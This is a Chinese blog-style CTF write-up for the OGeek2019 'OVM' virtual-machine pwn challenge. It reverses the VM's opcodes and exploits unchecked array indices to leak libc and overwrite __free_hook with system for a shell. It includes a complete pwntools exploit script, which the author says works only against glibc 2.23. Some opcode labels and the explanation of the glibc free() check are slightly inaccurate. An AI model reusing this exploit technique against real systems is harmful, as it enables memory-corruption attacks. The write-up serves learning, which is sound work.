[OGeek2019 Final]OVM——详细入门VM pwn

是一个入门级别的题目,但是花了非常久的时间整理

刚拿到题目进行反编译的时候是非常懵逼的,因为我确实不知道这是干啥的 查了下资料 原理大概如下 VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下:

初始化分配模拟寄存器空间(reg) 初始化分配模拟栈空间(stack) 初始化分配模拟数据存储空间(data) 初始化分配模拟机器指令(opcode)空间(text)

也就是说,我们给程序输入一串指令,这个程序会有自己独特的,对代码的理解,并进行像分解成机器码那样,执行,而像寄存器,栈空间,存储空间都是程序自己设计的,而不是系统分配的

首先看看主函数 一开始要求输入var_C,var_Ae的时候实属懵逼,这究竟是要干啥?

昨晚题目,个人认为var_A,var_C没啥用,至少在这一题上没什么用,但是并不意味着它们的值可以乱设置,因为根据代码,它们分别决定了code_size和code在内存的位置(很容易看代码得出)

主函数的逻辑大概就是,首先让你输入var_C(可以近似看成RIP),var_A(可以近似看成RSP),然后让你输入代码,而这个代码接下来就要经过处理,首先这个代码是被放在memory数组里面的,然后经过一个判断,如果低三位没有数据,则最高位就用0xe0来填充

接着进入了一个while循环语句,很明显,这就是拆解代码,类似于整理成机器码 进入fetch()函数:

__int64 fetch()
{
  int v0; // eax

  v0 = reg[15];
  reg[15] = v0 + 1;
  return memory[v0];
}

就类似于RIP执行完一条指令自动往后走的作用

接着我们点开核心代码execute()
 

ssize_t __fastcall execute(int code)
{
  ssize_t opcode; // rax
  unsigned __int8 op2; // [rsp+18h] [rbp-8h]
  unsigned __int8 op1; // [rsp+19h] [rbp-7h]
  unsigned __int8 dest; // [rsp+1Ah] [rbp-6h]
  int i; // [rsp+1Ch] [rbp-4h]

  dest = (code & 0xF0000u) >> 16;               // 目的寄存器
  op1 = (code & 0xF00) >> 8;                    // 操作寄存器1
  op2 = code & 0xF;                             // 操作寄存器2
  opcode = HIBYTE(code);
  if ( HIBYTE(code) == 0x70 )
  {
    opcode = reg;
    reg[dest] = reg[op2] + reg[op1];            // 目的寄存器=操作寄存器1+操作寄存器2
    return opcode;
  }
  if ( HIBYTE(code) > 0x70u )
  {
    if ( HIBYTE(code) == 0xB0 )
    {
      opcode = reg;
      reg[dest] = reg[op2] ^ reg[op1];          // 目的寄存器=操作寄存器1 ^ 操作寄存器2
      return opcode;
    }
    if ( HIBYTE(code) > 0xB0u )
    {
      if ( HIBYTE(code) == 0xD0 )
      {
        opcode = reg;
        reg[dest] = reg[op1] >> reg[op2];       // 右移位运算
        return opcode;
      }
      if ( HIBYTE(code) > 0xD0u )
      {
        if ( HIBYTE(code) == 0xE0 )
        {
          running = 0;
          if ( !reg[13] )                       // 如果_rsp不为空
            return write(1, "EXIT\n", 5uLL);
        }
        else if ( HIBYTE(code) != 0xFF )
        {
          return opcode;
        }
        running = 0;
        for ( i = 0; i <= 15; ++i )
          printf("R%d: %X\n", i, reg[i]);
        return write(1, "HALT\n", 5uLL);
      }
      else if ( HIBYTE(code) == 0xC0 )
      {
        opcode = reg;
        reg[dest] = reg[op1] << reg[op2];       // 左移位运算
      }
    }
    else
    {
      switch ( HIBYTE(code) )
      {
        case 0x90u:
          opcode = reg;
          reg[dest] = reg[op2] & reg[op1];      // 进行与运算
          break;
        case 0xA0u:
          opcode = reg;
          reg[dest] = reg[op2] | reg[op1];      // 进行或运算
          break;
        case 0x80u:
          opcode = reg;
          reg[dest] = reg[op1] - reg[op2];      // 减法运算
          break;
      }
    }
  }
  else if ( HIBYTE(code) == 0x30 )
  {
    opcode = reg;
    reg[dest] = memory[reg[op2]];
  }
  else if ( HIBYTE(code) > 0x30u )
  {
    switch ( HIBYTE(code) )
    {
      case 0x50u:
        LODWORD(opcode) = reg[13];
        reg[13] = opcode + 1;
        opcode = opcode;
        stack[opcode] = reg[dest];
        break;
      case 0x60u:
        --reg[13];
        opcode = reg;
        reg[dest] = stack[reg[13]];
        break;
      case 0x40u:
        opcode = memory;
        memory[reg[op2]] = reg[dest];
        break;
    }
  }
  else if ( HIBYTE(code) == 0x10 )
  {
    opcode = reg;
    reg[dest] = code;
  }
  else if ( HIBYTE(code) == 0x20 )
  {
    opcode = reg;
    reg[dest] = code == 0;
  }
  return opcode;
}

可以看到我们之前输入的code果然被分解了,每个字节被分别分配给了四个变量,分别可以认为是操作码,目的寄存器,操作寄存器1,操作寄存器2.

接下来就是最烦人的逆向了,经过一系列有耐心的分析后,我们可以得出这样一个结论:

mov reg, src2		 	0x10 : reg[dest] = src2
mov reg, 0				0x20 : reg[dest] = 0
mov mem, reg            0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem            0x40 : memory[reg[src2]] = reg[dest]
push reg                0x50 : stack[result] = reg[dest]
pop reg                 0x60 : reg[dest] = stack[reg[13]]
add                     0x70 : reg[dest] = reg[src2] + reg[src1]
sub                     0x80 : reg[dest] = reg[src1] - reg[src2]
and                     0x90 : reg[dest] = reg[src2] & reg[src1]
or                      0xA0 : reg[dest] = reg[src2] | reg[src1]
^          	        	0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left                    0xC0 : reg[dest] = reg[src1] << reg[src2]
right                   0xD0 : reg[dest] = reg[src1] >> reg[src2]
                        0xFF : (exit or print) if(reg[13] != 0) print oper

经过搜查资料可以知道,这种VM pwn最常见的漏洞点就是数组溢出,往往因为不检查数组下标而容易发生内存泄露!

仔细分析代码都可以发现,这些操作都没有对数组的下标进行检查,这样会导致什么后果呢,举个例子,如果有一个重要数据B存在数组array[10]的内存前面,如果不对数组的下标进行检查的话,那么我就可以构造array[-1]并输出,就可以得到B的内容了

我们接着分析代码:
 

 write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
  read(0, comment, 140uLL);
  sendcomment(comment);
  write(1, "Bye\n", 4uLL);
  return 0;

在这一段中,程序往comment存储的内容指向的地址输入东西,而comment是bss段上的数据,同样可以因为不检查下标通过输入负数可以被操作到,这样攻击思路就出来了。

利用思路: 1.先任意读把stderr的地址,分高低地址读到两个寄存器中 2.gdb调试出freehook于stderr的固定偏移,我们改存stderr低地址的寄存器+固定偏移就是freehook的低地址 3.任意写把bss段comment存的堆地址改写为free_hook地址-8 4.执行print功能泄露地址,算出libc_base,得出system 5.接着的read会往free_hook地址-8读0x8c,我们只要填’/bin/sh\x00’+p64(system), 最后free时就会执行system(’/bin/sh’)

下面是错误的exp(用ubuntu20.04疯狂攻击,发现只有在16.04行得通,但是思路是对的,exp网上搜得到)
 

from pwn import *
io = process("./pwn")
elf = ELF("./pwn")
libc=ELF('./libc-2.23.so')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
def code_generate(code, dst, op1, op2):
	res = code<<24
	res += dst<<16
	res += op1<<8
	res += op2
	return res

io.recvuntil(b"PC: ")
io.sendline(b'0')
io.recvuntil(b"SP: ")
io.sendline(b'1')
io.recvuntil(b"CODE SIZE: ")
io.sendline(b'33')
io.recvuntil(b"CODE: ")
gdb.attach(io)
pause()
io.sendline(str(code_generate(0x10, 0, 0, 26)).encode('utf-8')) #reg[0] = 26 (stderr) ,该OVM模拟的是32位机器,stderror地址为$rebase(0x201ff8),而memory地址为$rebase(0x202060),二者之间差距为0x68,注意该ovm模拟32bit机器,所以reg每一个偏移为4,故二者偏移为0x68/4=26
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]

print("---------------------------------------------------------------------------------")
io.sendline(str(code_generate(0x30, 2, 0, 1)).encode('utf-8')) #reg[2] = memory[reg[1]]  #stderror地址的低4bytes
io.sendline(str(code_generate(0x10, 0, 0, 25)).encode('utf-8')) #reg[0] = 25
io.sendline(str(code_generate(0x10, 1, 0, 0)).encode('utf-8')) #reg[1] = 0
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]
io.sendline(str(code_generate(0x30, 3, 0, 1)).encode('utf-8')) #reg[3] = memory[reg[1]] #stderror地址的高4bytes
io.sendline(str(code_generate(0x10, 4, 0, 1)).encode('utf-8')) #reg[4] = 1
io.sendline(str(code_generate(0x10, 5, 0, 14)).encode('utf-8')) #reg[5] = 14
io.sendline(str(code_generate(0xC0, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]<<reg[5]#reg4=0x4000
io.sendline(str(code_generate(0x10, 5, 0, 1)).encode('utf-8')) #reg[5] = 1
io.sendline(str(code_generate(0x10, 6, 0, 12)).encode('utf-8')) #reg[6] = 12
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0x1000
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5000

io.sendline(str(code_generate(0x10, 5, 0, 3)).encode('utf-8')) #reg[5] = 3
io.sendline(str(code_generate(0x10, 6, 0, 10)).encode('utf-8')) #reg[6] = 10
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0xc00
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c00

io.sendline(str(code_generate(0x10, 5, 0, 2)).encode('utf-8')) #reg[5] = 2
io.sendline(str(code_generate(0x10, 6, 0, 5)).encode('utf-8')) #reg[6] = 5
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0x40
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c40


io.sendline(str(code_generate(0x10, 6, 0, 11)).encode('utf-8')) #reg[6] = 11
io.sendline(str(code_generate(0x80, 4, 4, 6)).encode('utf-8')) #reg[4] = reg[4] - reg[6]

io.sendline(str(code_generate(0x70, 2, 4, 2)).encode('utf-8')) #reg[2] = reg[4]+reg[2]#reg2为stderror的低4bytes,stderror距离freehook的偏移为0x5c48,这里使用0x10a0,求得freehook-0x8的位置



io.sendline(str(code_generate(0x10, 4, 0, 8)).encode('utf-8')) #reg[4] = 8
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 2, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[2] #改comment指向free_hook
io.sendline(str(code_generate(0x10, 4, 0, 7)).encode('utf-8')) #reg[4] = 7
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 3, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[3]
io.sendline(str(code_generate(0xE0, 0, 1, 1)).encode('utf-8')) #exit

io.recvuntil(b"R2: ")
low = int(io.recvuntil(b'\n').strip(), 16) + 8
io.recvuntil(b"R3: ")
high = int(io.recvuntil(b'\n').strip(), 16)
free_hook = (high<<32)+low

libc_address = free_hook - 0x2234a8
system = 0x53d60+libc_address+11
print(hex(system))
io.recvuntil(b"HOW DO YOU FEEL AT OVM?\n")

io.sendline(b'/bin/sh\x00'+p64(system))

io.interactive()

可恶啊,一直打不通
 发现报错,真是奇怪,明明和网上wp都差不多,于是我打开glibc源码对比2.23和2.27,发现2.27多了一个这样的检查:

  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");

这段代码是一个内存分配器的安全性检查部分。它主要包含两个条件判断语句,用于验证给定的指针p和大小size是否有效。

第一个条件判断语句检查指针p是否超出了地址空间的范围。如果p大于等于0且小于等于可用的地址空间大小减去size,则认为p是有效的。否则,会调用malloc_printerr("free(): invalid pointer")打印错误信息。

第二个条件判断语句检查给定的大小size是否小于最小分配块的大小(MINSIZE)或者不满足对齐要求。如果满足这些条件,则认为size是无效的。否则,不会发生任何操作。

这两个条件判断语句的目的是确保在进行内存释放操作之前,所提供的指针和大小都是有效的。这样可以避免潜在的安全漏洞或错误。

而2.23则没有这个检查,哎学到了,不是malloc出来的地址它不要,难绷

学到了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值